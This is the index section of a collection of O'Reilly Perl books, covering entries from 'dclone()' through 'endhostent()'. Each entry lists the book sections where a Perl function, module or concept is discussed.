dclone() : Perl Cookbook, 11.12. Copying Data Structures
deadlocks
Advanced Perl Programming, 12.2.3. Bidirectional Communications
Advanced Perl Programming, 13.2. Remote Procedure Calls (RPC)
deallocating memory
Advanced Perl Programming, 20.5.6.1. Recommended memory allocation and deallocation routines
Programming Perl, 5.3.9. A Note on Garbage Collection
debug()
Mail::Folder module : Perl in a Nutshell, Chapter 14, Reference: debug
Text widget : Perl in a Nutshell, 18.11.2. Text Methods
debug_print() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: debug_print
debugger
Advanced Perl Programming, 20.1. Reading the Source
Learning Perl, D.2. The Debugger
Perl in a Nutshell, 6.1. The Perl Debugger
commands for : Perl in a Nutshell, 6.2. Debugger Commands
customizing : Perl in a Nutshell, 6.4. Customizing the Debugger
debugging
(see also taint checking)
Perl in a Nutshell, 6. Debugging
Programming Perl, 6.1.2. Switches
Programming Perl, 6.3.1. Handling Insecure Data
Programming Perl, 8.1. The Perl Debugger
bug reports : Programming Perl, Bug Reports
CGI scripts
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.3. Fixing a 500 Server Error
Perl in a Nutshell, 10.6. Debugging
checking syntax without running : Perl in a Nutshell, 3.2. Command-Line Options
controlling from scripts : Programming Perl, 8.1.2. Using the Debugger
core dumps
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 3.2.29. dump
Programming Perl, 6.1.2. Switches
customizing : Programming Perl, 8.1.3. Debugger Customization
-d, -D options (perl)
Advanced Perl Programming, 20.1. Reading the Source
Perl in a Nutshell, 3.2. Command-Line Options
Perl in a Nutshell, 6.1. The Perl Debugger
Perl in a Nutshell, 6.5. The Perl Profiler
Programming Perl, 6.1.2. Switches
Programming Perl, 8.1.8. Alternative Debuggers: The Perl Profiler
HTTP exchanges : Perl Cookbook, 19.9. Debugging the Raw HTTP Exchange
Perl profiler (DProf) : Perl in a Nutshell, 6.5. The Perl Profiler
perlbug program : Perl in a Nutshell, 6.6. The perlbug Program
UNIX security bugs : Programming Perl, 6.3.1.3. Security bugs
$DEBUGGING ($^D) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
decimal numbers, converting
Perl Cookbook, 2.4. Converting Between Binary and Decimal
Perl Cookbook, 2.16. Converting Between Octal and Hexadecimal
decimal points
Learning Perl, 2.2.2. Float Literals
Programming Perl, 2.8. Formats
declarations
Perl in a Nutshell, 4.1. Program Structure
Programming Perl, 2.6. Statements and Declarations
formats : Programming Perl, 2.8. Formats
global
Programming Perl, 2.6.7. Global Declarations
Programming Perl, 7.2.76. vars - Predeclare Global Variable Names
packages
Perl in a Nutshell, 7.1. Namespaces and Packages
Programming Perl, 2.6.8. Scoped Declarations
Programming Perl, 3.2.106. package
private vs. local : Perl in a Nutshell, 4.7.4. Private and Local Variables
subroutines
Perl in a Nutshell, 4.7. Subroutines
Programming Perl, 2.6.7. Global Declarations
Programming Perl, 2.7. Subroutines
Programming Perl, 3.2.161. sub
Programming Perl, 7.2.60. subs - Predeclare Subroutine Names
variables
Perl in a Nutshell, 4.2.6. Declarations and Scope
Programming Perl, 2.6. Statements and Declarations
Programming Perl, 2.6.8. Scoped Declarations
Programming Perl, 7.2.76. vars - Predeclare Global Variable Names
decryption : (see encryption)
deep binding : Advanced Perl Programming, 4.5.2. Python
deep copies : Perl Cookbook, 11.12. Copying Data Structures
default filehandle
Learning Perl, 10.4. Using Filehandles
Learning Perl on Win32 Systems, 10.5. Using Filehandles
default package : Programming Perl, 2.6.8. Scoped Declarations
'DEFAULT' string : Programming Perl, 6.2.1. Signals
default string values : Perl Cookbook, 1.2. Establishing a Default Value
default values, implemented with || operator
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
DEFAULT, as special value for %SIG : Learning Perl, 14.6. Sending and Receiving Signals
default_port() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: default_port
defaults() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: defaults
defensive programming : Learning Perl, 15.4. Advanced Sorting
defined operator
Perl Cookbook, 1.2. Establishing a Default Value
Perl in a Nutshell, Chapter 5, Reference: defined
Programming Perl, 3.2.25. defined
Programming Perl, 5.4.3. Tying Hashes
definedness
Perl Cookbook, 1.0. Introduction
Perl Cookbook, 1.2. Establishing a Default Value
defining formats : Learning Perl, 11.2. Defining a Format
deg2rad() (example) : Perl Cookbook, 2.11. Doing Trigonometry in Degrees, not Radians
degrees vs. radians : Perl Cookbook, 2.11. Doing Trigonometry in Degrees, not Radians
deiconify() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
DEL character, completion and : Programming Perl, 7.2.65. Term::Complete - Word Completion Module
del_group() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: del_group
delay() (LWP::RobotUA) : Perl in a Nutshell, Chapter 17, Reference: delay
delaying module loading : Perl Cookbook, 12.3. Delaying use Until Run Time
delegation
Advanced Perl Programming, 8.2. Delegation
Programming Perl, 5.5.11. Delegation (the "Passes-the-Buck-to" Relationship)
delete()
Perl Cookbook, 5.3. Deleting from a Hash
Learning Perl, 5.4.4. The delete Function
Learning Perl, 17.3. Using a DBM Hash
Learning Perl on Win32 Systems, 5.4.4. The delete Function
Learning Perl on Win32 Systems, 17.3. Using a DBM Hash
Perl in a Nutshell, Chapter 5, Reference: delete
Programming Perl, 3.2.26. delete
Canvas widget : Perl in a Nutshell, 18.12.3. Canvas Methods
CGI.pm module : Perl in a Nutshell, Chapter 10, Reference: delete
Entry widget : Perl in a Nutshell, 18.8.2. Entry Methods
HTML::Parser module : Perl in a Nutshell, Chapter 17, Reference: delete
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
Mail::Send module : Perl in a Nutshell, Chapter 14, Reference: delete
Menu widget : Perl in a Nutshell, 18.15.2. Menu Methods
multiple hash key values : Perl Cookbook, 5.7. Hashes with Multiple Values Per Key
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: delete
Net::POP3 module : Perl in a Nutshell, Chapter 14, Reference: delete
Text widget : Perl in a Nutshell, 18.11.2. Text Methods
Tie::IxHash module and : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
Delete()
Mail::POP3Client module
Perl in a Nutshell, Chapter 14, Reference: Delete
Perl in a Nutshell, 14.2.8.4. Deleting and undeleting messages
Win32::Internet module : Perl in a Nutshell, Chapter 19, Reference: Delete
delete_all() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: delete_all
Delete as interrupt signal : Learning Perl, 14.6. Sending and Receiving Signals
delete_content() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: delete_content
delete_label() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: delete_label
delete_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: delete_message
DELETE method : Programming Perl, 5.4.3. Tying Hashes
delete()
DeleteKey() (Win32::Registry)
Learning Perl on Win32 Systems, 16.6.1. More Registry Operations
Perl in a Nutshell, Chapter 19, Reference: DeleteKey
DeleteValue() (Win32::Registry) : Perl in a Nutshell, Chapter 19, Reference: DeleteValue
deleting
array elements
Programming Perl, 3.2.143. shift
Programming Perl, 3.2.154. splice
breakpoints : Programming Perl, 8.1.1. Debugger Commands
characters
Learning Perl, 15.5. Transliteration
Programming Perl, 3.2.13. chomp
clearing the screen : Perl Cookbook, 15.3. Clearing the Screen
directories
Programming Perl, 3.2.129. rmdir
Programming Perl, 3.2.181. unlink
Programming Perl, 7.2.31. File::Path - Create or Remove a Series of Directories
directories and their contents : Perl Cookbook, 9.8. Removing a Directory and Its Contents
DOS shell window : Perl Cookbook, 15.17. Removing the DOS Shell Window with Windows Perl/Tk
emptying DBM files : Perl Cookbook, 14.2. Emptying a DBM File
files
Perl Cookbook, 9.2. Deleting a File
Programming Perl, 3.2.181. unlink
hash elements
Perl Cookbook, 5.3. Deleting from a Hash
Programming Perl, 3.2.26. delete
HTML tags from strings : Perl Cookbook, 20.6. Extracting or Removing HTML Tags
last line of files : Perl Cookbook, 8.10. Removing the Last Line of a File
Registry keys : Learning Perl on Win32 Systems, 16.6.1. More Registry Operations
selected subroutine return values : Perl Cookbook, 10.8. Skipping Selected Return Values
whitespace at string ends : Perl Cookbook, 1.14. Trimming Blanks from the Ends of a String
delimiters, for tr : Learning Perl, 15.5. Transliteration
delta() (Scrollbar) : Perl in a Nutshell, 18.9.1. Scrollbar Methods
denial of resource attacks : Advanced Perl Programming, 20.2.2.3. Security features
Deparse backend (Perl compiler) : Perl in a Nutshell, 3.4. The Perl Compiler
dequote() : Perl Cookbook, 1.11. Indenting Here Documents
dereferencing
(see
(see also references)
Advanced Perl Programming, 1.1.2. Dereferencing
Perl in a Nutshell, 4.8.2. Dereferencing
Perl in a Nutshell, 7.4. Object Syntax
Programming Perl, 4.1. What Is a Reference?
Programming Perl, 4.3.1. Using a Variable as a Variable Name
Programming Perl, 4.3.3. Using the Arrow Operator
Programming Perl, 4.6.5. Common Mistakes
automatic : Advanced Perl Programming, 1.1.8. No Automatic Dereferencing
multiple levels of indirection : Advanced Perl Programming, 1.2.4. Dereferencing Multiple Levels of Indirection
operator for : (see - (hyphen), -> (arrow) operator)
subroutine references : Advanced Perl Programming, 4.1.3. Dereferencing Subroutine References
derived classes
Perl Cookbook, 13.0. Introduction
Programming Perl, 5.3.4. A Class Is Simply a Package
Programming Perl, 5.5.1. Object-Oriented Scaling Tips
deselect()
Checkbutton widget : Perl in a Nutshell, 18.5.1. Checkbutton Methods
Radiobutton widget : Perl in a Nutshell, 18.6.1. Radiobutton Methods
DESTROY function
Advanced Perl Programming, 7.2.7. Object Destruction
Advanced Perl Programming, 9.1. Tying Scalars
Perl in a Nutshell, 7.3. Object-Oriented Perl
Programming Perl, 5.4.1. Tying Scalars
Programming Perl, 5.4.2. Tying Arrays
Programming Perl, 5.4.3. Tying Hashes
destroying
modules/packages : Advanced Perl Programming, 6.3. Package Initialization and Destruction
objects : Advanced Perl Programming, 7.2.7. Object Destruction
destructors
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.2. Destroying an Object
Programming Perl, 5.3.7. Destructors
detecting tainted data : Programming Perl, 6.3.1.1. Detecting and laundering tainted data
deterministic finite automata : Perl Cookbook, 6.0. Introduction
$dev file statistic : Programming Perl, 3.2.159. stat
Devel modules
Devel::Dump module : Advanced Perl Programming, 20.3.2.1. Inside AVs
Devel::Peek module
Advanced Perl Programming, 20.1. Reading the Source
Advanced Perl Programming, 20.3.1.2. Inside SVs
Devel::RegExp module : Advanced Perl Programming, 20.1. Reading the Source
Devel::SelfStubber module
Perl in a Nutshell, 8.41. Devel::SelfStubber
Programming Perl, 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
Devel::Symdump module : Advanced Perl Programming, 20.1. Reading the Source
DFA (deterministic finite automata) : Perl Cookbook, 6.0. Introduction
diagnostic messages
(see error messages)
(see warning messages)
diagnostics module
Perl in a Nutshell, 8.42. diagnostics
Programming Perl, 7.2.10. diagnostics - Force Verbose Warning Diagnostics
dialog boxes with Tk toolkit : Perl Cookbook, 15.15. Creating Dialog Boxes with Tk
DialogBox widget (Tk) : Perl Cookbook, 15.15. Creating Dialog Boxes with Tk
diamond operator (<>) : (see < > (angle brackets), <...> (angle, diamond, line-input) operator)
Dict module : Programming Perl, 7.2.53. Search::Dict - Search for Key in Dictionary File
dictionary file : Programming Perl, 7.2.53. Search::Dict - Search for Key in Dictionary File
die()
Advanced Perl Programming, B.7. Exception Handling
Advanced Perl Programming, 5.2. The Block Form: Exception Handling
Perl Cookbook, 10.12. Handling Exceptions
Learning Perl, 1.5.13. Many Secret Word Files in the Current Directory
Learning Perl, 10.3. A Slight Diversion: die
Learning Perl on Win32 Systems, 1.6.13. Many Secret Word Files in the Current Directory
Learning Perl on Win32 Systems, 10.4. A Slight Diversion: die
Perl in a Nutshell, Chapter 5, Reference: die
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 3.2.27. die
examples of
Learning Perl, A.11. Chapter 12, Directory Access
Learning Perl, 13.3.2. Creating Hard and Soft Links with Perl
exit function versus : Programming Perl, 3.2.35. exit
time-outs and : Advanced Perl Programming, 5.6. Using Eval for Time-Outs
__DIE__ token
Perl Cookbook, 16.15. Installing a Signal Handler
Programming Perl, 2.9.4. Global Special Arrays
differences of lists : Perl Cookbook, 4.7. Finding Elements in One Array but Not Another
digits : Programming Perl, 1.7. Regular Expressions
backslashed : Programming Perl, 2.4.1.2. The rules of regular expression matching
in names : Programming Perl, 2.3.1. Variables
-digits option (Scale) : Perl in a Nutshell, 18.13. The Scale Widget
dir() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: dir
directories : Perl Cookbook, 9.0. Introduction
changing working : Programming Perl, 3.2.11. chdir
closing : Programming Perl, 3.2.19. closedir
copying or moving files : Perl Cookbook, 9.3. Copying or Moving a File
creating
Programming Perl, 3.2.92. mkdir
Programming Perl, 7.2.31. File::Path - Create or Remove a Series of Directories
deleting
Perl Cookbook, 9.8. Removing a Directory and Its Contents
Programming Perl, 3.2.129. rmdir
Programming Perl, 3.2.181. unlink
Programming Perl, 7.2.31. File::Path - Create or Remove a Series of Directories
deleting files in : Perl Cookbook, 9.2. Deleting a File
for email messages : Perl in a Nutshell, 14.2.3. Handle Folders with Mail::Folder
file-related functions : Perl in a Nutshell, 5.1. Perl Functions by Category
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
getting pathname of : Programming Perl, 7.2.7. Cwd - Get Pathname of Current Working Directory
of modules : Perl Cookbook, 12.7. Keeping Your Own Module Directory
multiple names for same file : Perl Cookbook, 9.4. Recognizing Two Names for the Same File
opendir function : Programming Perl, 3.2.103. opendir
parsing filenames : Perl Cookbook, 9.10. Splitting a Filename into Its Component Parts
prepending to @INC : Programming Perl, 6.1.2. Switches
processing all files in
Perl Cookbook, 9.5. Processing All Files in a Directory
Perl Cookbook, 9.7. Processing All Files in a Directory Recursively
reading entries from : Programming Perl, 3.2.117. readdir
recursively duplicating : Perl Cookbook, 9.11. Program: symirror
renaming files
Perl Cookbook, 9.9. Renaming Files
Learning Perl, 13.2. Renaming a File
rewinddir function : Programming Perl, 3.2.127. rewinddir
root, redefining : Programming Perl, 3.2.17. chroot
seekdir function
Learning Perl on Win32 Systems, 13.2. Renaming a File
Programming Perl, 3.2.133. seekdir
sorting contents of
Perl Cookbook, 9.0. Introduction
Perl Cookbook, 9.12. Program: lst
timestamps : Perl Cookbook, 9.1. Getting and Setting Timestamps
directory handles
(see also filehandles)
Advanced Perl Programming, 3.4. Filehandles, Directory Handles, and Formats
Perl Cookbook, 9.5. Processing All Files in a Directory
Learning Perl, 12.3. Directory Handles
creating : Learning Perl on Win32 Systems, 12.4. Opening and Closing a Directory Handle
modules/packages and : Advanced Perl Programming, 6.1. Basic Package
DirHandle module
Advanced Perl Programming, 3.4. Filehandles, Directory Handles, and Formats
Perl in a Nutshell, 8.43. DirHandle
Programming Perl, 7.2.11. DirHandle - Supply Object Methods for Directory Handles
dirname()
Perl Cookbook, 9.10. Splitting a Filename into Its Component Parts
Programming Perl, 7.2.27. File::Basename - Parse File Specifications
disablecache() routine : Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
-disabledforeground option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
disconnect() (DBI) : Perl in a Nutshell, Chapter 12, Reference: disconnect
disk usage, library : Perl Cookbook, 14.0. Introduction
dispatch tables : Advanced Perl Programming, 4.2.1. Dispatch Table
Display() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Display
distribution, Perl
Programming Perl, 8.5. Distribution and Installation
Programming Perl, The Perl Distribution
distributions() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: distributions
divide-by-zero error, trapping : Advanced Perl Programming, 5.2. The Block Form: Exception Handling
division operators
(see also multiplication operators)
Learning Perl, 2.4.1. Operators for Numbers
Perl in a Nutshell, 4.5.3. Arithmetic Operators
@dl_ and dl_ variables : Programming Perl, 7.2.12.1. Internal interface summary
dlineinfo() (Text widget) : Perl in a Nutshell, 18.11.2. Text Methods
DMYHMS values : (see date and time)
DNS lookups : Perl Cookbook, 18.1. Simple DNS Lookups
do()
Perl Cookbook, 8.16. Reading Configuration Files
Perl in a Nutshell, Chapter 5, Reference: do
DBI module : Perl in a Nutshell, Chapter 12, Reference: do
do loops
Perl in a Nutshell, 4.3.1.4. Modifiers
Programming Perl, 2.6.1. Simple Statements
Programming Perl, 3.2.28. do
Programming Perl, 8.2.1. Universal Blunders
document object (PerlScript) : Perl in a Nutshell, 20.1. Client-Side PerlScript
DOCUMENT_ROOT variable : Perl in a Nutshell, 9.4. CGI Environment Variables
documentation
Learning Perl on Win32 Systems, 1.5.1. Documentation
Perl in a Nutshell, 2.5. Documentation
books on Perl : Programming Perl, Other Books
bug reports : Programming Perl, Bug Reports
C library functions : Programming Perl, 3. Functions
conventions : Perl Cookbook, Conventions Used in This Book
FAQ on Perl : Programming Perl, Frequently Asked Questions List
Javadoc format : Advanced Perl Programming, 17.1. On Code Generation
Perl manpages : Programming Perl, Perl Manpages
POD format
Advanced Perl Programming, 17.1. On Code Generation
Perl in a Nutshell, 4.11. Pod
Perl in a Nutshell, 4.11.3. Pod Utilities
dollar sign : (see $ (dollar sign))
domain() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: domain
Domain property (response cookies) : Perl in a Nutshell, 20.2.2.1. Setting cookies
DomainName module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
domains
getting information on : Perl Cookbook, 18.8. Using Whois to Retrieve Information from the InterNIC
for sockets : Perl Cookbook, 17.0. Introduction
Dominus, Mark-Jason : Perl Cookbook, 4.19. Program: permute
DOS shell window, removing : Perl Cookbook, 15.17. Removing the DOS Shell Window with Windows Perl/Tk
dot : (see . (dot))
Douady, Adrien : Advanced Perl Programming, 18.6. A Detour into Fractals
double indexing scheme (example) : Advanced Perl Programming, 2.4.1. Data Representation
double quotes
(see also " (double quotation marks))
Perl Cookbook, 1.0. Introduction
Learning Perl, 2.3.2. Double-Quoted Strings
Perl in a Nutshell, 4.2.2. String Interpolation
associative array elements and : Learning Perl, 5.4.1. The keys Function
backslash escape and : Learning Perl, 2.3.2. Double-Quoted Strings
examples of
Learning Perl, 1.5.2. Asking Questions and Remembering the Result
Learning Perl on Win32 Systems, 1.6.2. Asking Questions and Remembering the Result
hash elements : Learning Perl on Win32 Systems, 5.4.1. The keys Function
qq() : Perl Cookbook, 4.1. Specifying a List In Your Program
variable interpolation
(see also variable interpolation)
Learning Perl, 2.6.4. Interpolation of Scalars into Strings
Programming Perl, 2.3.3.4. Interpolative context
doubles (NVs) : Advanced Perl Programming, 20.3.1. Scalar Values
Dowd, Sean : Perl in a Nutshell, 14. Email Connectivity
downloading source code
Perl in a Nutshell, 2. Installing Perl
Perl in a Nutshell, 2.2. How Is CPAN Organized?
Perl in a Nutshell, 2.4. Getting and Installing Modules
DProf debugger : Programming Perl, 8.1.8. Alternative Debuggers: The Perl Profiler
dprofpp utility : Perl in a Nutshell, 6.5. The Perl Profiler
drawers : (see directories)
drivelock program (example) : Perl Cookbook, 7.21. Program: netlock
du command, sorting output of : Perl Cookbook, 5.16. Program: dutree
dummyhttpd program (example) : Perl Cookbook, 19.9. Debugging the Raw HTTP Exchange
dump()
Perl in a Nutshell, Chapter 5, Reference: dump
Programming Perl, 3.2.29. dump
CGI.pm module : Perl in a Nutshell, Chapter 10, Reference: dump
HTML::Parser module : Perl in a Nutshell, Chapter 17, Reference: dump
Dump module : Advanced Perl Programming, 20.3.2.1. Inside AVs
dump_results() (DBI) : Perl in a Nutshell, Chapter 12, Reference: dump_results
Dumper module : Advanced Perl Programming, 10.2.2. Data::Dumper
dumpValue function : Advanced Perl Programming, 2.5. Pretty-Printing
dup() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: dup
duplicate
list elements, extracting : Perl Cookbook, 4.6. Extracting Unique Elements from a List
words, finding : Perl Cookbook, 6.16. Detecting Duplicate Words
dutree program (example) : Perl Cookbook, 5.16. Program: dutree
dutree_orig program (example) : Perl Cookbook, 5.16. Program: dutree
DynaLoader module
Perl in a Nutshell, 8.44. DynaLoader
Programming Perl, 7.2.12. DynaLoader - Automatic Dynamic Loading of Perl Modules
Programming Perl, 7.2.21. ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
dynamic allocation
Advanced Perl Programming, 1. Data References and Anonymous Storage
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 1.7.1. Tcl
dynamic behavior : (see run-time evaluation)
dynamic binding : Advanced Perl Programming, 9. Tie
arrays : Advanced Perl Programming, 9.2. Tying Arrays
filehandles : Advanced Perl Programming, 9.4. Tying Filehandles
hashes : Advanced Perl Programming, 9.3. Tying Hashes
monitoring variables (example) : Advanced Perl Programming, 9.5. Example: Monitoring Variables
other languages and : Advanced Perl Programming, 9.6. Comparisons with Other Languages
scalars : Advanced Perl Programming, 9.1. Tying Scalars
dynamic linking : Programming Perl, 7.2.12. DynaLoader - Automatic Dynamic Loading of Perl Modules
dynamic scoping
Advanced Perl Programming, 3.1.2. Lexical Versus Dynamic Scoping
Perl Cookbook, 10.13. Saving Global Values
Perl in a Nutshell, 4.2.6. Declarations and Scope
Perl in a Nutshell, 4.7.4. Private and Local Variables
Programming Perl, 2.6.8. Scoped Declarations

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

-e file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
E<> interior sequence (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
-E option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-e option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
-e option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
/e pattern-match modifier
Advanced Perl Programming, 5.4.1. Expression Evaluation in Substitutions
Perl Cookbook, 1.8. Expanding Variables in User Input
Perl Cookbook, 6.0. Introduction
Perl Cookbook, 6.4. Commenting Regular Expressions
Perl Cookbook, 7.7. Writing a Filter
Learning Perl, D.5.2. The eval Operator (and s///e)
Programming Perl, 2.4.2. Pattern-Matching Operators
\e (escape) sequence : Perl in a Nutshell, 4.6.3. Escaped Sequences
\E string metacharacter : Perl Cookbook, 1.13. Escaping Characters
-e switch, perl
Advanced Perl Programming, 5.1. The String Form: Expression Evaluation
Learning Perl, 17.5. Variable-Length (Text) Databases
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
each()
Perl Cookbook, 5.10. Merging Hashes
Learning Perl, 5.4.3. The each Function
Perl in a Nutshell, Chapter 5, Reference: each
Programming Perl, 3.2.30. each
Programming Perl, 5.4.3. Tying Hashes
examples of
Learning Perl, A.16. Chapter 17, User Database Manipulation
Learning Perl, 17.3. Using a DBM Hash
Learning Perl on Win32 Systems, 17.3. Using a DBM Hash
eager pattern matching : Perl Cookbook, 6.0. Introduction
ebcdic() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: ebcdic
echo command
globbing and : Learning Perl, 12.2. Globbing
password input : Perl Cookbook, 15.10. Reading Passwords
editing files : (see file contents)
editing input : Perl Cookbook, 15.11. Editing Input
editor support for debugger : Programming Perl, 8.1.5. Editor Support for Debugging
editors, and updating databases : Learning Perl, 17.5. Variable-Length (Text) Databases
/ee substitution modifier
Perl Cookbook, 1.8. Expanding Variables in User Input
Perl Cookbook, 6.4. Commenting Regular Expressions
effective gid : (see $ variables, $) variable)
effective uid : (see $ variables, $< variable)
$EFFECTIVE_GROUP_ID ($)) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$EFFECTIVE_USER_ID ($>) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
efficiency : (see performance)
$EGID ($() variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
element references : Advanced Perl Programming, 1.6.2. Array/Hash References Versus Element References
-elementborderwidth option (Scrollbar) : Perl in a Nutshell, 18.9. The Scrollbar Widget
elements of array
Learning Perl, 3.1. What Is a List or Array?
Learning Perl on Win32 Systems, 3.1. What Is a List or Array?
elements of arrays : (see arrays)
elements of hashes : (see hashes)
else keyword : (see if statement)
elsif keyword
(see also if statement)
Learning Perl, 1.5.5. More than One Secret Word
Learning Perl, 4.2. The if/unless Statement
Learning Perl on Win32 Systems, 1.6.5. More than One Secret Word
Learning Perl on Win32 Systems, 4.2. The if/unless Statement
examples of
Learning Perl, A.3. Chapter 4, Control Structures
Learning Perl, 15.4. Advanced Sorting
Learning Perl on Win32 Systems, A.3. Chapter 4, Control Structures
Learning Perl on Win32 Systems, 15.4. Advanced Sorting
Emacs, debugger and : Programming Perl, 8.1.5. Editor Support for Debugging
email : Perl in a Nutshell, 14. Email Connectivity
folders for (Mail::Folder module) : Perl in a Nutshell, 14.2.3. Handle Folders with Mail::Folder
handling messages (Mail::Internet module)
Learning Perl, 9.1. The last Statement
Perl in a Nutshell, 14.2.4. Handle Messages with Mail::Internet
header control (Mail::Send module) : Perl in a Nutshell, 14.2.2. Better Header Control with Mail::Send
Mail modules
Perl in a Nutshell, 14. Email Connectivity
Perl in a Nutshell, 14.2. The Mail Modules
matching valid addresses : Perl Cookbook, 6.19. Matching a Valid Mail Address
parsing addresses (Mail::Address module) : Perl in a Nutshell, 14.2.6. Parse Email Addresses with Mail::Address
Perl-related mailing lists : Perl in a Nutshell, 1.4.3. Mailing Lists
random signatures : Perl Cookbook, 16.22. Program: sigrand
reading with POP3
Perl Cookbook, 18.5. Reading Mail with POP3
Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
Perl in a Nutshell, 14.2.8. Reading Email with Mail::POP3Client
sending
Perl Cookbook, 18.3. Sending Mail
Perl in a Nutshell, 14.1.1. Send Email with Net::SMTP
Perl in a Nutshell, 14.2.1. Send Email with Mail::Mailer
sending HTML forms via : Perl Cookbook, 19.13. Saving a Form to a File or Mail Pipe
sorting (example subroutine) : Perl Cookbook, 10.17. Program: Sorting Your Mail
tracking time path of : Perl Cookbook, 3.11. Program: hopdelta
Embed module : Advanced Perl Programming, 19.4. Adding Extensions
embedding Perl
Advanced Perl Programming, 19. Embedding Perl:The Easy Way
Advanced Perl Programming, 20.6. Easy Embedding API
Learning Perl, 19.10.2. Embedded Perl
Learning Perl on Win32 Systems, D.10. Embeddible, Extensible
macros for : Advanced Perl Programming, 20.4.1. Calling a Perl Subroutine
in messages : Perl in a Nutshell, 3.2. Command-Line Options
emit_open_file procedure : Advanced Perl Programming, 17.4.2. Template Parser
emit_opening_statement procedure : Advanced Perl Programming, 17.4.2. Template Parser
empty array : Learning Perl, 3.2. Literal Representation
empty base class test : Perl Cookbook, 13.9. Writing an Inheritable Class
empty list : Learning Perl, 3.2. Literal Representation
clearing out a hash : Learning Perl, 5.4.2. The values Function
as default value for array variable : Learning Perl, 3.3. Variables
getpwent() return value : Learning Perl, 16.1. Getting Password and Group Information
empty string ("") : Perl Cookbook, 1.0. Introduction
enablecache() routine : Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
encapsulation
Advanced Perl Programming, 7.1. OO: An Introduction
Advanced Perl Programming, 7.2.8. Accessor Methods
Advanced Perl Programming, 11.2.2. Object Encapsulation
Programming Perl, 4.3.4. Using Object Methods
encoding URLs : Perl in a Nutshell, 9.2. URL Encoding
encodings, multiple-byte : Perl Cookbook, 6.18. Matching Multiple-Byte Characters
encryption
Programming Perl, 3.2.22. crypt
Programming Perl, 6.3.2.2. Penguin
End() (Response object, PerlScript) : Perl in a Nutshell, 20.2.2.3. Response methods
END block
Advanced Perl Programming, 6.3. Package Initialization and Destruction
Programming Perl, 5.1.2. Package Constructors and Destructors: BEGIN and END
=end command (pod) : Perl in a Nutshell, Chapter 4, Reference: =end
end index
Entry widget : Perl in a Nutshell, 18.8.1. Text Indexes
Listbox widget : Perl in a Nutshell, 18.10.1. Listbox Indexes
Menu widget : Perl in a Nutshell, 18.15.1. Menu Indexes
Text widget : Perl in a Nutshell, 18.11.1. Text Indexes and Modifiers
end of file : Programming Perl, 3.2.31. eof
Control-D as : Learning Perl, 3.6. <STDIN> as an Array
detecting
Learning Perl, 1.5.10. Moving the Secret Word List into a Separate File
Learning Perl on Win32 Systems, 1.6.10. Moving the Secret Word List into a Separate File
with Control-D : Learning Perl on Win32 Systems, 3.6. <STDIN> as an Array
=end pod directive : Perl Cookbook, 12.16. Documenting Your Module with Pod
__END__ token
Perl Cookbook, 7.6. Storing Files Inside Your Program Text
Perl in a Nutshell, 4.4.4. Global Special Constants
Programming Perl, 2.3.2.7. Other literal tokens
Programming Perl, 2.9.5. Global Special Filehandles
end tokens : Learning Perl, 19.3. Simplest CGI Program
endgrent()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: endgrent
Programming Perl, 3.2.44. getgrent
endhostent()
